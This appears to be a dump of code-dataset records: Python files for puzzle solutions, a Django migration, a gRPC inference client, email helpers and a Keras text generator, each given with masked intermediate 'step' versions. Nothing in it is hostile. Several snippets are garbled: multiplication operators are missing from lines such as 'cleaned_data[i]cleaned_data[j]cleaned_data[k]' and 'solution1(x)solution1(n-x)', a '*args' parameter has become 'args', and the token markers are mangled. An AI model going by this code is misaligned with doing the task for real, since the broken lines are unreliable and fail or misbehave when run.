print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "def part_1() -> int:\n start = 382345\n end = 843167\n total = 0\n\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n\n return total\n\n\ndef check_number(problem_input: str) -> bool:\n previous = 0\n double = False\n for current in range(1, len(problem_input)):\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[previous]) == int(problem_input[current]):\n double = True\n previous += 1\n\n return double\n\n\ndef check_number_2(problem_input: str) -> bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input[previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input[current])\n while current < length - 1 and int(problem_input[current]) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n\n previous += 1\n current += 1\n\n return seen_a_double\n\n\ndef part_2() -> int:\n start = 382345\n end = 843167\n total = 0\n\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n\n return total\n\n\ndef main():\n x = \"111111\"\n print(check_number(x) is True)\n x = \"223450\"\n print(check_number(x) is False)\n x = \"123789\"\n print(check_number(x) is False)\n\n print(\"PART 1:\", part_1()) # should be 460\n\n x = \"112233\"\n print(check_number_2(x) is True)\n x = \"123444\"\n print(check_number_2(x) is False)\n x = \"111122\"\n print(check_number_2(x) is True)\n x = \"112222\"\n print(check_number_2(x) is True)\n x = \"1112589\"\n print(check_number_2(x) is False)\n\n print(\"PART 2:\", part_2())\n\n\nif __name__ == '__main__':\n main()\n", "step-ids": [ 3, 4, 5, 6, 7 ] }	[ 3, 4, 5, 6, 7 ]
input_object = open("input.txt", "r") input_data = input_object.readlines() input_object.close() cleaned_data = [] for line in input_data: cleaned_data.append(int(line.strip())) input_size = len(cleaned_data) for i in range(0, input_size): for j in range(i, input_size): for k in range(j, input_size): if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020: ans = cleaned_data[i]cleaned_data[j]cleaned_data[k] print(ans) break	normal	{ "blob_id": "72f3ae476581ff5acd6c7101764f4764285a47bd", "index": 4426, "step-1": "<mask token>\n", "step-2": "<mask token>\ninput_object.close()\n<mask token>\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\n<mask token>\nfor i in range(0, input_size):\n for j in range(i, input_size):\n for k in range(j, input_size):\n if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020:\n ans = cleaned_data[i] * cleaned_data[j] * cleaned_data[k]\n print(ans)\n break\n", "step-3": "input_object = open('input.txt', 'r')\ninput_data = input_object.readlines()\ninput_object.close()\ncleaned_data = []\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\ninput_size = len(cleaned_data)\nfor i in range(0, input_size):\n for j in range(i, input_size):\n for k in range(j, input_size):\n if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020:\n ans = cleaned_data[i] * cleaned_data[j] * cleaned_data[k]\n print(ans)\n break\n", "step-4": "input_object = open(\"input.txt\", \"r\")\ninput_data = input_object.readlines()\ninput_object.close()\ncleaned_data = []\n\nfor line in input_data:\n cleaned_data.append(int(line.strip()))\ninput_size = len(cleaned_data)\n\n\nfor i in range(0, input_size):\n for j in range(i, input_size):\n for k in range(j, input_size):\n if cleaned_data[i] + cleaned_data[j] + cleaned_data[k] == 2020:\n ans = cleaned_data[i]cleaned_data[j]cleaned_data[k]\n print(ans)\n break", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
''' Seperate a number into several, maximize their product ''' # recursive def solution1(n): if n <= 4: return n else: return max(map(lambda x: solution1(x)solution1(n-x), range(1, n//2 + 1))) # dp def solution2(n): result_list = [1,2] for i in range(3, n+1): max_mult = max(list(map(lambda x: result_list[x] (i-x-1), range(i-1)))) result_list.append(max_mult) print(result_list, i) return max_mult if __name__ == '__main__': result = solution1(8) print(result) result = solution2(8) print(result)	normal	{ "blob_id": "76db5955b29696ca03ab22ef14ac018e0618e9e3", "index": 2729, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef solution2(n):\n result_list = [1, 2]\n for i in range(3, n + 1):\n max_mult = max(list(map(lambda x: result_list[x] * (i - x - 1),\n range(i - 1))))\n result_list.append(max_mult)\n print(result_list, i)\n return max_mult\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef solution1(n):\n if n <= 4:\n return n\n else:\n return max(map(lambda x: solution1(x) * solution1(n - x), range(1, \n n // 2 + 1)))\n\n\ndef solution2(n):\n result_list = [1, 2]\n for i in range(3, n + 1):\n max_mult = max(list(map(lambda x: result_list[x] * (i - x - 1),\n range(i - 1))))\n result_list.append(max_mult)\n print(result_list, i)\n return max_mult\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef solution1(n):\n if n <= 4:\n return n\n else:\n return max(map(lambda x: solution1(x) * solution1(n - x), range(1, \n n // 2 + 1)))\n\n\ndef solution2(n):\n result_list = [1, 2]\n for i in range(3, n + 1):\n max_mult = max(list(map(lambda x: result_list[x] * (i - x - 1),\n range(i - 1))))\n result_list.append(max_mult)\n print(result_list, i)\n return max_mult\n\n\nif __name__ == '__main__':\n result = solution1(8)\n print(result)\n result = solution2(8)\n print(result)\n", "step-5": "'''\nSeperate a number into several, maximize their product\n'''\n\n# recursive\ndef solution1(n):\n if n <= 4:\n return n\n else:\n return max(map(lambda x: solution1(x)solution1(n-x), range(1, n//2 + 1)))\n\n# dp\ndef solution2(n):\n result_list = [1,2]\n\n for i in range(3, n+1):\n max_mult = max(list(map(lambda x: result_list[x] (i-x-1), range(i-1))))\n result_list.append(max_mult)\n print(result_list, i)\n\n return max_mult\n\nif __name__ == '__main__':\n result = solution1(8)\n print(result)\n result = solution2(8)\n print(result)", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Migration(migrations.Migration): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Migration(migrations.Migration): dependencies = [('myems', '0004_auto_20201118_1446')] operations = [migrations.RenameField(model_name='dg', old_name='sn', new_name='id'), migrations.AddField(model_name='dg', name= 'code_ean13', field=models.CharField(default=0, max_length=50), preserve_default=False), migrations.AddField(model_name='dg', name= 'commercial_designation_in_english', field=models.CharField(default =0, max_length=100), preserve_default=False), migrations. AlterModelTable(name='dg', table='dg_gen')] <\|reserved_special_token_1\|> from django.db import migrations, models class Migration(migrations.Migration): dependencies = [('myems', '0004_auto_20201118_1446')] operations = [migrations.RenameField(model_name='dg', old_name='sn', new_name='id'), migrations.AddField(model_name='dg', name= 'code_ean13', field=models.CharField(default=0, max_length=50), preserve_default=False), migrations.AddField(model_name='dg', name= 'commercial_designation_in_english', field=models.CharField(default =0, max_length=100), preserve_default=False), migrations. AlterModelTable(name='dg', table='dg_gen')] <\|reserved_special_token_1\|> # Generated by Django 3.1.3 on 2020-11-19 06:19 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('myems', '0004_auto_20201118_1446'), ] operations = [ migrations.RenameField( model_name='dg', old_name='sn', new_name='id', ), migrations.AddField( model_name='dg', name='code_ean13', field=models.CharField(default=0, max_length=50), preserve_default=False, ), migrations.AddField( model_name='dg', name='commercial_designation_in_english', field=models.CharField(default=0, max_length=100), preserve_default=False, ), migrations.AlterModelTable( name='dg', table='dg_gen', ), ]	flexible	{ "blob_id": "11d96a8a400afb0861b92d8900e003826614c99a", "index": 7502, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('myems', '0004_auto_20201118_1446')]\n operations = [migrations.RenameField(model_name='dg', old_name='sn',\n new_name='id'), migrations.AddField(model_name='dg', name=\n 'code_ean13', field=models.CharField(default=0, max_length=50),\n preserve_default=False), migrations.AddField(model_name='dg', name=\n 'commercial_designation_in_english', field=models.CharField(default\n =0, max_length=100), preserve_default=False), migrations.\n AlterModelTable(name='dg', table='dg_gen')]\n", "step-4": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [('myems', '0004_auto_20201118_1446')]\n operations = [migrations.RenameField(model_name='dg', old_name='sn',\n new_name='id'), migrations.AddField(model_name='dg', name=\n 'code_ean13', field=models.CharField(default=0, max_length=50),\n preserve_default=False), migrations.AddField(model_name='dg', name=\n 'commercial_designation_in_english', field=models.CharField(default\n =0, max_length=100), preserve_default=False), migrations.\n AlterModelTable(name='dg', table='dg_gen')]\n", "step-5": "# Generated by Django 3.1.3 on 2020-11-19 06:19\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('myems', '0004_auto_20201118_1446'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='dg',\n old_name='sn',\n new_name='id',\n ),\n migrations.AddField(\n model_name='dg',\n name='code_ean13',\n field=models.CharField(default=0, max_length=50),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='dg',\n name='commercial_designation_in_english',\n field=models.CharField(default=0, max_length=100),\n preserve_default=False,\n ),\n migrations.AlterModelTable(\n name='dg',\n table='dg_gen',\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
import grpc import time import json import sys import uuid from arch.api.proto import inference_service_pb2 from arch.api.proto import inference_service_pb2_grpc import threading def run(address): ths = [] with grpc.insecure_channel(address) as channel: for i in range(1): th = threading.Thread(target=send, args=(channel,)) ths.append(th) st = int(time.time()) for th in ths: th.start() for th in ths: th.join() et = int(time.time()) def process_response(call_future): print(call_future.result()) def send(channel): stub = inference_service_pb2_grpc.InferenceServiceStub(channel) request = inference_service_pb2.InferenceMessage() request_data = dict() request_data['serviceId'] = 'xxxxxxxxx' request_data['applyId'] = '' # request_data['modelId'] = 'arbiter-10000#guest-10000#host-10000#model' # You can specify the model id this way # request_data['modelVersion'] = 'acd3e1807a1211e9969aacde48001122' # You can specify the model version this way request_data['caseid'] = uuid.uuid1().hex feature_data = dict() feature_data['fid1'] = 5.1 feature_data['fid2'] = 6.2 feature_data['fid3'] = 7.6 request_data['featureData'] = feature_data request_data['sendToRemoteFeatureData'] = feature_data print(json.dumps(request_data, indent=4)) request.body = json.dumps(request_data).encode(encoding='utf-8') print(stub.inference(request)) if __name__ == '__main__': run(sys.argv[1])	normal	{ "blob_id": "5430e1861a6244c25c00699323efa0921a5af940", "index": 3709, "step-1": "<mask token>\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\n<mask token>\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n", "step-4": "import grpc\nimport time\nimport json\nimport sys\nimport uuid\nfrom arch.api.proto import inference_service_pb2\nfrom arch.api.proto import inference_service_pb2_grpc\nimport threading\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n request_data['caseid'] = uuid.uuid1().hex\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n print(json.dumps(request_data, indent=4))\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n", "step-5": "import grpc\nimport time\nimport json\nimport sys\nimport uuid\n\nfrom arch.api.proto import inference_service_pb2\nfrom arch.api.proto import inference_service_pb2_grpc\nimport threading\n\n\ndef run(address):\n ths = []\n with grpc.insecure_channel(address) as channel:\n for i in range(1):\n th = threading.Thread(target=send, args=(channel,))\n ths.append(th)\n st = int(time.time())\n for th in ths:\n th.start()\n for th in ths:\n th.join()\n et = int(time.time())\n\n\ndef process_response(call_future):\n print(call_future.result())\n\n\ndef send(channel):\n stub = inference_service_pb2_grpc.InferenceServiceStub(channel)\n request = inference_service_pb2.InferenceMessage()\n request_data = dict()\n request_data['serviceId'] = 'xxxxxxxxx'\n request_data['applyId'] = ''\n # request_data['modelId'] = 'arbiter-10000#guest-10000#host-10000#model' # You can specify the model id this way\n # request_data['modelVersion'] = 'acd3e1807a1211e9969aacde48001122' # You can specify the model version this way\n request_data['caseid'] = uuid.uuid1().hex\n\n feature_data = dict()\n feature_data['fid1'] = 5.1\n feature_data['fid2'] = 6.2\n feature_data['fid3'] = 7.6\n request_data['featureData'] = feature_data\n request_data['sendToRemoteFeatureData'] = feature_data\n\n print(json.dumps(request_data, indent=4))\n\n request.body = json.dumps(request_data).encode(encoding='utf-8')\n print(stub.inference(request))\n\n\nif __name__ == '__main__':\n run(sys.argv[1])\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
import hashlib from django.conf import settings from django.core import mail from django.core.mail import EmailMultiAlternatives from django.template.loader import render_to_string from django.utils.crypto import get_random_string def hexdigest_sha256(*args): r = hashlib.sha256() for arg in args: r.update(str(arg).encode('utf-8')) return r.hexdigest() def get_reply_addr(message_id, dest): if not hasattr(settings, 'REPLY_EMAIL'): return [] addr = settings.REPLY_EMAIL pos = addr.find('@') name = addr[:pos] domain = addr[pos:] key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12] return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id, key, domain)] def generate_message_token(): return get_random_string(length=60, allowed_chars='abcdefghijklmnopqrstuvwxyz0123456789') def notify_by_email(template, data, subject, sender, dests, message_id, ref=None): if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'): data.update({'answering': True}) text_message = render_to_string('conversations/emails/%s.txt' % template, data) html_message = render_to_string('conversations/emails/%s.html' % template, data) from_email = '{name} <{email}>'.format( name=sender.get_full_name() or sender.username, email=settings.DEFAULT_FROM_EMAIL) # Generating headers headers = {'Message-ID': "<%s.%s>" % (message_id, settings.DEFAULT_FROM_EMAIL)} if ref: # This email reference a previous one headers.update({ 'References': '<%s.%s>' % (ref, settings.DEFAULT_FROM_EMAIL), }) mails = [] for dest in dests: if not dest.email: continue reply_to = get_reply_addr(message_id, dest) mails += [(subject, (text_message, html_message), from_email, [dest.email], reply_to, headers)] messages = [] for subject, message, from_email, dest_emails, reply_to, headers in mails: text_message, html_message = message msg = EmailMultiAlternatives(subject, text_message, from_email, dest_emails, reply_to=reply_to, headers=headers) msg.attach_alternative(html_message, 'text/html') messages += [msg] with mail.get_connection() as connection: connection.send_messages(messages)	normal	{ "blob_id": "a35004e2b306ba1a8649ce66a1612f63a2b6bf39", "index": 2673, "step-1": "<mask token>\n\n\ndef hexdigest_sha256(args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\n<mask token>\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-2": "<mask token>\n\n\ndef hexdigest_sha256(args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\n<mask token>\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars=\n 'abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-3": "<mask token>\n\n\ndef hexdigest_sha256(args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\ndef get_reply_addr(message_id, dest):\n if not hasattr(settings, 'REPLY_EMAIL'):\n return []\n addr = settings.REPLY_EMAIL\n pos = addr.find('@')\n name = addr[:pos]\n domain = addr[pos:]\n key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12]\n return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id,\n key, domain)]\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars=\n 'abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-4": "import hashlib\nfrom django.conf import settings\nfrom django.core import mail\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.utils.crypto import get_random_string\n\n\ndef hexdigest_sha256(args):\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n return r.hexdigest()\n\n\ndef get_reply_addr(message_id, dest):\n if not hasattr(settings, 'REPLY_EMAIL'):\n return []\n addr = settings.REPLY_EMAIL\n pos = addr.find('@')\n name = addr[:pos]\n domain = addr[pos:]\n key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12]\n return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id,\n key, domain)]\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars=\n 'abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref\n =None):\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n text_message = render_to_string('conversations/emails/%s.txt' %\n template, data)\n html_message = render_to_string('conversations/emails/%s.html' %\n template, data)\n from_email = '{name} <{email}>'.format(name=sender.get_full_name() or\n sender.username, email=settings.DEFAULT_FROM_EMAIL)\n headers = {'Message-ID': '<%s.%s>' % (message_id, settings.\n DEFAULT_FROM_EMAIL)}\n if ref:\n headers.update({'References': '<%s.%s>' % (ref, settings.\n DEFAULT_FROM_EMAIL)})\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n reply_to = get_reply_addr(message_id, dest)\n mails += [(subject, (text_message, html_message), from_email, [dest\n .email], reply_to, headers)]\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email,\n dest_emails, reply_to=reply_to, headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-5": "import hashlib\n\nfrom django.conf import settings\nfrom django.core import mail\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import render_to_string\nfrom django.utils.crypto import get_random_string\n\n\ndef hexdigest_sha256(*args):\n\n r = hashlib.sha256()\n for arg in args:\n r.update(str(arg).encode('utf-8'))\n\n return r.hexdigest()\n\n\ndef get_reply_addr(message_id, dest):\n\n if not hasattr(settings, 'REPLY_EMAIL'):\n return []\n\n addr = settings.REPLY_EMAIL\n pos = addr.find('@')\n name = addr[:pos]\n domain = addr[pos:]\n key = hexdigest_sha256(settings.SECRET_KEY, message_id, dest.pk)[0:12]\n\n return ['%s+%s%s%s%s' % (name, dest.profile.email_token, message_id, key, domain)]\n\n\ndef generate_message_token():\n return get_random_string(length=60, allowed_chars='abcdefghijklmnopqrstuvwxyz0123456789')\n\n\ndef notify_by_email(template, data, subject, sender, dests, message_id, ref=None):\n\n if hasattr(settings, 'REPLY_EMAIL') and hasattr(settings, 'REPLY_KEY'):\n data.update({'answering': True})\n\n text_message = render_to_string('conversations/emails/%s.txt' % template, data)\n html_message = render_to_string('conversations/emails/%s.html' % template, data)\n\n from_email = '{name} <{email}>'.format(\n name=sender.get_full_name() or sender.username,\n email=settings.DEFAULT_FROM_EMAIL)\n\n # Generating headers\n headers = {'Message-ID': \"<%s.%s>\" % (message_id, settings.DEFAULT_FROM_EMAIL)}\n if ref:\n # This email reference a previous one\n headers.update({\n 'References': '<%s.%s>' % (ref, settings.DEFAULT_FROM_EMAIL),\n })\n\n mails = []\n for dest in dests:\n if not dest.email:\n continue\n\n reply_to = get_reply_addr(message_id, dest)\n\n mails += [(subject, (text_message, html_message), from_email, [dest.email], reply_to, headers)]\n\n messages = []\n for subject, message, from_email, dest_emails, reply_to, headers in mails:\n text_message, html_message = message\n msg = EmailMultiAlternatives(subject, text_message, from_email, dest_emails, reply_to=reply_to,\n headers=headers)\n msg.attach_alternative(html_message, 'text/html')\n messages += [msg]\n with mail.get_connection() as connection:\n connection.send_messages(messages)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }	[ 2, 3, 4, 5, 6 ]
<\|reserved_special_token_0\|> def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) if __name__ == '__main__': main() <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['KERAS_BACKEND'] = 'tensorflow' <\|reserved_special_token_0\|> MODEL_NAME = 'script_gen_demo_model' def main(): print('Loading model...') model, charset = load_model(MODEL_NAME) print(charset) seed_text = input('Enter a String: ').strip() print() generate_script(seed_text, model, charset) def generate_script(seed_text, model, charset): sys.stdout.write(seed_text) sys.stdout.flush() next_char = None should_stop = False while not should_stop: prev_char = next_char next_char = sample(model, seed_text, charset, temp=0.2) sys.stdout.write(next_char) sys.stdout.flush() if prev_char == '\n' and prev_char == next_char: should_stop = True def sample(model, string, charset, temp=1.0): inputs = [string_one_hot(string, charset)] inputs = pad_sequences(inputs, padding='post', maxlen=64) preds = model.predict(inputs)[0] return charset[sample_preds(preds, temp)] def sample_preds(results, temperature=1.0): if temperature <= 0.0: return np.argmax(results) probs = np.exp(np.log(results) / temperature) probs /= np.sum(probs) return np.random.choice(len(results), p=probs) if __name__ == '__main__': main() <\|reserved_special_token_1\|> import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' os.environ['KERAS_BACKEND'] = 'tensorflow' import numpy as np import sys from util import load_model from keras.preprocessing.text import hashing_trick from keras.preprocessing.sequence import pad_sequences from southpark.southpark_generative import string_one_hot, char_one_hot MODEL_NAME = 'script_gen_demo_model' def main(): print('Loading model...') model, charset = 